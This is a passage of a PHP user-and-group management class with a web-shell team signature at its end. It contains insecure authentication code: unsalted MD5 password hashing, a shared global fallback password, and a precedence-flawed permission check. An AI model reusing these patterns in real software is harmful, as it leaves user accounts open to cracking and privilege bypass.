        	$gr = $this->SafeFetch($query);
        	$gr = $gr[0];
        	if($gr['permessi']){
	        	$pagine_ = json_decode($gr['permessi']);
	        	if(count($pagine_)){
	        		$pagine = array_merge($pagine,$pagine_);
	        	}
	        }
			
		}
        return $pagine;
	}

	public function getGroupUsersIdsById($id, $others){ 
		$aid = $this->QuoteText($id);	

		$othersIds = array();
		foreach ($others as $key => $value) {
			$othersIds[] = $value['id_user'];
		}


		$query = "SELECT * FROM usergroup WHERE usergroup.group_id = $aid";
        $ret = $this->SafeFetch($query);

        $toReturn = array();
        foreach ($ret as $key => $value) {
        	
        	if(!in_array($value['id_user'], $othersIds) && !is_numeric($value['id_user'])){
				$ret[$key]['firstname'] = $value['id_user'];
				$toReturn[] = $ret[$key];
			}

        }

        return $toReturn;
	}


	public function insertGroup($title, $description, $permessi){
		$atitle = $this->QuoteText($title);
		$adescription = $this->QuoteText($description);	
		$apermessi = $this->QuoteText($permessi);
		$query = "INSERT INTO groups (title, description, permessi) "
				."VALUES ($atitle, $adescription, $apermessi)";//, $qpassword, $qfirstname, $qlastname, $qemail, $qcreated_by)";
		return $this->SafeInsert($query);

	}
	
	public function editGroup($id, $title, $description, $permessi){
		$aid = $this->QuoteInt($id);
		$atitle = $this->QuoteText($title);
		$adescription = $this->QuoteText($description);
		$apermessi = $this->QuoteText($permessi);
		$query = "UPDATE groups SET title = $atitle, description = $adescription, permessi=$apermessi WHERE group_id = $aid";
    	return $this->SafeExec($query);

	}
	
	public function deleteGroup($id){
		$aid = $this->QuoteInt($id);	
		$query = "DELETE FROM groups WHERE group_id = $aid";
    	return $this->SafeExec($query);
	}
	
	public function addUserToGroup($id_group, $id_user){		
		$qid_group = $this->QuoteInt($id_group);
		$qid_user = $this->QuoteText($id_user);
		$query = "INSERT INTO usergroup (id_user, group_id) VALUES ($qid_user, $qid_group)";
		return $this->SafeExec($query);
	}

	public function removeUserFromGroup($id_group, $id_user){
		$qid_group = $this->QuoteInt($id_group);
		$qid_user = $this->QuoteText($id_user);
		$query = "DELETE FROM usergroup WHERE group_id = $qid_group and id_user LIKE $qid_user";
    	return $this->SafeExec($query);
	}

	public function checkUserToGroup($id_group, $id_user){		
		$qid_group = $this->QuoteInt($id_group);
		$qid_user = $this->QuoteText($id_user);
		$query = "SELECT * FROM usergroup WHERE id_user=$qid_user AND group_id=$qid_group LIMIT 1";
        return $this->SafeFetchOne($query);
	}







	
	public function CreateUserCsv($file, $schema, $token, $groupid)
	{

		$csvData = file_get_contents($file);
		$lines = explode(PHP_EOL, $csvData);
		$toReturn = array();

		foreach ($lines as $line) {
		    
			$line = str_replace("\r", " ", $line);
		    
		    $user = explode($token, $line);

			if($this->checkUsername($user[0])){

				$toReturn[] = "User " . $user[1] . " " . $user[2] . " NOT CREATED, email " . $user[0] . " alredy exist!";

			}else if(!$this->checkValidEmail($user[0])){

				$toReturn[] = "User " . $user[1] . " " . $user[2] . " NOT CREATED, email " . $user[0] . " not valid!";

			}else{

			    switch($schema){
					
					case "email;firstname;lastname":{
						if($this->CreateUser($user[0],$user[1],$user[2],$user[0],null,151 /* is usertype=user */,$groupid)){
							$toReturn[] = "User " . $user[1] . " " . $user[2] . " created with email " . $user[0];
						}else{
							$toReturn[] = "User " . $user[1] . " " . $user[2] . " NOT CREATED ";
						}
					}break;
					case "firstname;lastname;email":{
						if($this->CreateUser($user[2],$user[0],$user[1],$user[2],null,151 /* is usertype=user */,$groupid)){
							$toReturn[] = "User " . $user[1] . " " . $user[2] . " created with email " . $user[0];
						}else{
							$toReturn[] = "User " . $user[1] . " " . $user[2] . " NOT CREATED ";
						}
					}break;
					case "lastname;firstname;email":{
						if($this->CreateUser($user[2],$user[1],$user[0],$user[2],null,151 /* is usertype=user */,$groupid)){
							$toReturn[] = "User " . $user[1] . " " . $user[2] . " created with email " . $user[0];
						}else{
							$toReturn[] = "User " . $user[1] . " " . $user[2] . " NOT CREATED ";
						}
					}break;

				}

			}

		}
		
		return $toReturn;
	}


		

    public function SaveUserData($userid, $email, $firstname, $lastname, $type) {
    	
        $qfirstname = $this->QuoteText($firstname);
        $qusername = $this->QuoteText($email);
        $qlastname = $this->QuoteText($lastname);
        $qemail = $this->QuoteText($email);
        $quserid = $this->QuoteInt($userid);
        $qtype = $this->QuoteInt($type);

        $query = "UPDATE user SET username=$qusername, firstname=$qfirstname, lastname=$qlastname, email=$qemail, user_type_id=$qtype "
                ."WHERE user_id = $quserid";
                
        return $this->SafeExec($query);
    }
    
    
    function UpdateUserType($userid, $usertypeid)
    {
        $quserid = $this->QuoteInt($userid);
        $qusertypeid = $this->QuoteInt($usertypeid);
        
        $query = "UPDATE user SET user_type_id = $qusertypeid WHERE user_id = $quserid";
        return $this->SafeExec($query);
    }
    
	static function IsLoggedIn()
	{
		return isset($_SESSION) && isset($_SESSION['userdata']);
	}
	
	static function HashPassword($password)
	{
		return md5($password);
	}
    
    static function GetRealPassword($password)
    {
        return (!$password)?GLOBAL_PASSWORD:$password;
    }
	
	static function HasPermission($userperm, $requestedperm)
	{
		return $requestedperm == $userperm & $requestedperm;
	}
    
	// Functions for logged-in users
	static function LHasPermission($requestedperm)
	{
		return $requestedperm == (OCUser::LGetUserType() & $requestedperm);
	}
	
	static function LGetUserType()
	{
		return self::IsLoggedIn()?$_SESSION['userdata']['user_type_id']:ANONYMOUS_USER_TYPE;
	}
	
	static function LGetUserId()
	{
		return self::IsLoggedIn()?$_SESSION['userdata']['id_user']:null;
	}
	
	static function LGetUserData()
	{
		return $_SESSION['userdata'];
	}
		
	static function LStoreLocationKey($locationkey)
	{
		$_SESSION['locationkey'] = $locationkey;
	}
	
	static function LGetLocationKey()
	{
		return (isset($_SESSION) && isset($_SESSION['locationkey']))?$_SESSION['locationkey']:NULL;
	}
	
	static function LStoreVisitId($visitid)
	{
		$_SESSION['visitid'][$visitid] = 1;
	}
	
	static function LValidateVisitId($visitid)
	{
		return isset($_SESSION['visitid'][$visitid]);
	}
	
	static function LRemoveVisitId($visitid)
	{
		if (self::LValidateVisitId($visitid))
			unset ($_SESSION['visitid'][$visitid]);
	}

	
	// -----------------------------------------------------------------------------------------------
	// Administration functions
	
	function FetchAllUsers()
	{
		include_once 'app/helpers/util.php';
		$query = "SELECT user.id_user, user.user_type_id, user.username, user.firstname, user.email, user_type.name AS typename, usergroup.group_id, group.title AS grouptitle "
				."FROM user "
				."LEFT JOIN user_type USING (user_type_id) "
				."LEFT JOIN usergroup USING (user_id) "
				."LEFT JOIN `group` USING (group_id) ";
		$res = $this->SafeFetch($query);
		
		$newlist = Utils::ArrayRedefineKeys($res,'user_id');
		return $newlist;
	}
	
	
}
?>

Anon7 - 2022
AnonSec Team